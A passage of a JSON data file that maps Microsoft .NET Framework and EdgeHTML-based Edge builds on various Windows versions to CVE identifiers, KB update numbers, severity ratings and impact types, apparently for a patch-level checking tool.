4.5.2 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579979","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532935","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578971","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows RT 8.1":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532933","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578969","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.8 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4532936","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578972","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056888","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056888","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088779","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093109","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of 